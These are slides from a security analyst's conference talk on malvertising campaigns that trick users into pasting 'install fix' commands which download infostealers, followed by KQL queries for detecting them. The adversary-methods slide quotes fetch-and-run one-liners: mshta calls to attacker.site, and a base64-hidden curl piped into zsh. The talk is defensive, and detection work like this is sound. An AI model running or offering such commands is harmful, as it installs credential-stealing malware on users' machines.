Install-Fix�Curl-to-Bash Infostealers
“Everything Published, Talked and/or discussed in this conference is solely based on my personal point �of View, and Does not represent my current, or past employers.”
Next 40 Mins !
Introduction Install Fix
Every Link works, The only difference is the installation Command
Malvertising
Initial Attack Vector
Search Engine
-----------------
Google,
Yahoo
Social Media
-----------------
Meta – FB/Insta/X
Display Ads
-----------------
Ecommerce site�careers sites
Exploiting Truest In Major Platforms
----------------------------------
People trust major social media channels and search engines, so they assume that the ads those platforms serve are safe
Exploiting Truest In Established Brands
----------------------------------
People see hundreds of ads every day, so they do not suspect an attack when they see an ad from a trusted brand
Exploiting Lack of Security Awareness
----------------------------------
People rarely pause to investigate an ad - for example, double checking the domain and URL- before clicking on it
Brands, ad words, and reputable search engines in the hands of threat actors
Paste and Run Technique
Methods Used by Adversary :
Hosting services: abuse
Payload: Poison in the code
C: \Windows\SysWOW64\mshta.exe https://attacker.site/claude
Windows
Mac OS
curl -kfsSL $(echo 'aHR0cDovL2VsZnJvZG...==' | base64 -D) | zsh
mshta https://attacker.site/jetbrains.msixbundle
Base64-encoded instructions hidden in the string, downloading payloads from attacker domains.
Commands abusing the legitimate
'mshta.exe' utility to retrieve the payload.
Windows “Paste and Run” Malware with KQL
DeviceEvents�| where ((ActionType == "GetClipboardData”) and (InitiatingProcessFileName has "powershell.exe") or InitiatingProcessCommandLine has "powershell" and InitiatingProcessCommandLine has "-enc"))�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, InitiatingProcessFileName, FileName |
DeviceProcessEvents | where FileName in~ ("mshta.exe", "powershell.exe") | where ProcessCommandLine matches regex @"(IEX|DownloadString|Net\.WebClient|Execute|vbscript)"�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, FileName, InitiatingProcessFileName |
1) Shows automatic copy script execution in PowerShell prompt
2) Attackers abuse mshta.exe and powershell.exe because they are trusted Windows binaries.
We detect them by looking for suspicious command-line arguments.
Mac OS “Paste and Run” Malware with KQL
DeviceProcessEvents | where FileName in~ ("bash", "zsh") | where (ProcessCommandLine contains "base64" and ProcessCommandLine contains "-d" | where ProcessCommandLine contains "|”)�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, FileName, InitiatingProcessFileName |
1) Attackers use base64 to hide their commands from simple text filters.
The "Paste-and-Run" attack relies on piping (|) that decoded output directly into the shell.
Mitigations
“Trust the domain” is no longer enough.
Verify the commands.
References:
…Any questions or Feedback….
“Every time we build a better evasion method; we’re also building a better detector - if we pay attention.” � - Unknown Red Teamer
Whoami$
Sunil Kumar BV
Sr Security Analyst